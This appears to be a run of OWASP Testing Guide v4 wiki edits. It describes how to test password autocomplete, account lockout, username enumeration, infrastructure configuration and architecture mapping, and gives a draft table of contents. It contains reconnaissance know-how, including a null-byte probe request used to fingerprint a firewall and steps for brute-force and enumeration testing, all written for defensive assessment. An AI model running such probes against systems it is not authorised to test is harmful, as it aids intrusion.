<pre>
<INPUT TYPE="password" AUTOCOMPLETE="off">
</pre>
* Also look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application.
* Also look for other areas where a password may be entered, e.g. a Change Password form.
* Also consider other sensitive form fields (e.g. an answer to a secret question, used for Forgotten Password forms).

== Remediation ==

Any fields that contain sensitive information and passwords should be flagged in the HTML with AUTOCOMPLETE=”off”.
Moreover no credentials have to be stored, in cleartext, into cookies.

Testing for Weak lock out mechanism (OTG-AUTHN-003)

2014-03-07T12:18:34Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Account lockout mechanisms are used to mitigate against brute force password guessing attacks. Accounts are typically locked out after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access. 
Note that this test should cover all aspects of authentication where lock out mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [[Testing for Weak security question/answer (OTG-AUTHN-008)]]).

== Description of the Issue ==

Without a strong lock out mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:

* Confidential information / data;
** Private sections of a web application could disclose confidential documents, users' profile data, financial status, bank details, users' relationships, etc.

* Administration panels;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.

* Availability of further attack vectors;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.

== Test objectives ==

Evaluate the account lockout mechanism's ability to mitigate brute force password guessing.

Evaluate the reactivation mechanism's resistance to unauthorized account re-activation.

== Black Box testing and example ==

Typically, to test the strength of lockout mechanisms, you will need access to an account that you are willing to lock out. 
 
To evaluate the account lockout mechanism's ability to mitigate brute force password guessing, attempt an invalid login by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:
# Attempt to login with an incorrect password 3 times.
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 3 incorrect authentication attempts.
# Attempt to login with an incorrect password 4 times.
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 4 incorrect authentication attempts.
# Attempt to login with an incorrect password 5 times.
# Attempt to login with the correct password. The application returns "Your account is locked out.", thereby confirming that the account is locked out after 5 incorrect authentication attempts.
# Attempt to login with the correct password 5 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.
# Attempt to login with the correct password 10 minutes later. The application returns "Your account is locked out.", thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.
# Successfully login with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.
 
A CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses (see [[Testing_for_Captcha_(OWASP-AT-012)|Testing for CAPTCHA]]), and should not replace a lockout mechanism.

 
To evaluate the reactivation mechanism's resistance to unauthorized account reactivation, initiate the reactivation mechanism and look for weaknesses. Typical reactivation mechanisms may involve secret questions/answers, or an emailed reactivation link. The reactivation link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak Security Question/Answer]]). 
Note that a reactivation mechanism is simply for unlocking accounts. It is not the same as a password recovery mechanism. 
 
Factors to consider when implementing an account lockout mechanism:

# What is the risk of brute force password guessing against the application?
# Is a CAPTCHA sufficient to mitigate this risk?
# Number of unsuccessful login attempts before lockout. Too few, and valid users may trigger the lockout too often. Too few, and the more attempts an attacker can make to brute force the account. Depending on the application function, a range of 5 to 10 unsuccessful attempts is typical.
# How will accounts be unlocked?
## Manually by an administrator. This is the most secure lockout method, but may cause inconvenience to users and take up the administrator's "valuable" time.
## After a period of time. What is the lockout period? Is this sufficient for the application being protected? e.g. a 5 minute lockout period may be a good compromise between mitigating brute force attacks and inconveniencing valid users.
## Via a self-service mechanism. Is this mechanism secure?

== References ==

See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.

== Remediation ==

Apply account reactivation mechanisms depending on the risk level. In order from lowest to highest assurance:

# Time-based lockout and reactivation
# Self-service reactivation (sends reactivation email to registered email address)
# Manual administrator reactivation
# Manual administrator reactivation with positive user identification

Testing for Weak or unenforced username policy (OTG-IDENT-005)

2014-03-07T12:17:55Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed.

== Test objectives ==

Determine whether consistent account name structure renders the application vulnerable to account enumeration

Determine whether application's error messages permit account enumeration

== How to test ==

Determine the structure of account names

Evaluate the application's response to valid and invalid account names

Use different responses to valid and invalid account names to enumerate valid account names

Use account name dictionaries to enumerate valid account names

== Remediation ==

Ensure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the login process.

Test Network/Infrastructure Configuration (OTG-CONFIG-001)

2014-03-07T12:07:58Z

Davide Danelon: Map and Test phases divided

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.
In order to address these problems, it is of utmost importance, after having mapped the entire architecture, to perform an in-depth review of configuration and known security issues.

== Description of the Issue ==

Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.

For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.

In order to test the configuration management infrastructure, the following steps need to be taken:

* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.
* A review needs to be made of the administrative tools used to maintain all the different elements.
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.
* A list of defined ports which are required for the application should be maintained and kept under change control.

After having mapped the different elements that make up the infrastructure (see [[Map_Network_and_Application_Architecture_(OTG-INFO-012)|Map Network and Application Architecture]]) it is possible to review the configuration of each element founded and test for any known vulnerabilities.

== Black Box Testing and examples==

===Known server vulnerabilities===
Vulnerabilities found in the different elements that make up the application architecture, be it the web server or the database backend, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server, or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the backend servers, as its application code would be run just like any other application.

Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool; however, the testing of some vulnerabilities can have unpredictable results to the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful. Also, some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives: on one hand, if the web server version has been removed or obscured by the local site administrator, the scan tool will not flag the server as vulnerable even if it is; on the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed in it, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common in some operating system vendors that do backport patches of security vulnerabilities to the software they provide in the operating system but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication backends, the database backends, or reverse proxies in use.

Finally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.

This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested in order to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.

It is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable (as it is unsupported). Even in the event that they are aware that the vulnerability is present and the system is, indeed, vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be recoded due to incompatibilities with the latest software version.

===Administrative tools===

Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), application source code, user authentication databases, etc. Depending on the site, technology, or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).

After having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus it is important to:

* If available from the Internet, determine the mechanisms that control access to these interfaces and their associated susceptibilities.
* Change the default user and password.

Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.

==References==
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
* [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).
* [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

Map Application Architecture (OTG-INFO-010)

2014-03-07T12:06:29Z

Davide Danelon: Map and Test phases divided

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.
In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues.
Before performing an in-depth review it is necessary to map the network and application architecture.

== Description of the Issue ==

Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.

For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.

In order to test the configuration management infrastructure, the following steps need to be taken:

* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.
* A review needs to be made of the administrative tools used to maintain all the different elements.
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.
* A list of defined ports which are required for the application should be maintained and kept under change control.

In this chapter it is going to be shown how it is possible to map different elements that make up the infrastructure.

== Black Box Testing and examples==

===Map the application architecture===

The application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism. On more complex setups, such as an online bank system, multiple servers might be involved including: a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalling devices between them, creating different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated in a way such that they will not compromise the whole architecture.

Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.

In the latter case, a tester will first start with the assumption that there is a simple setup (a single server) and will, through the information retrieved from other tests, derive the different elements and question this assumption that the architecture will be extended. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?” which will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced in order to determine the type of firewall system used based on network packet tests: is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed?

Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘WebSEAL’[1] is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request which targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between, blocking them. In some cases, even the protection system gives itself away:

<pre>
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

HTTP/1.0 200
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>
<BODY>
<H1>Error</H1>
FW-1 at XXXXXX: Access denied.</BODY>
</pre>

'''Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server'''

Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based, again, on the server header or by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.

Another element that can be detected: network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results in order to determine if the requests are going to the same or different web servers. For example, based on the Date: header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.

Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.

Authentication backends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.

The use of a database backend can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly," it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.

===Administrative tools===

Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), application source code, user authentication databases, etc. Depending on the site, technology, or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[2]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).

Map of the administrative interfaces used to manage the different parts of the architecture is very important, since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus in this phase it is important to:

* List all the possible administrative interfaces.
* Determine if administrative interfaces are available from an internal network or are also available from the Internet.

Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.

==References==
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
* [2] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

OWASP Testing Guide v4 Table of Contents

2014-03-06T16:52:40Z

Davide Danelon:

{{OWASP Breakers}}
__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 5th March 2014'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

'''2.4 Security requirements test derivation'''

'''2.5 Security test data analysis and reporting: root cause identification and business/role case test data reporting'''

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]

[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.5.1 Oracle Testing]]

[[Testing for MySQL|4.8.5.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.5.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.6 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.7 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.9 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

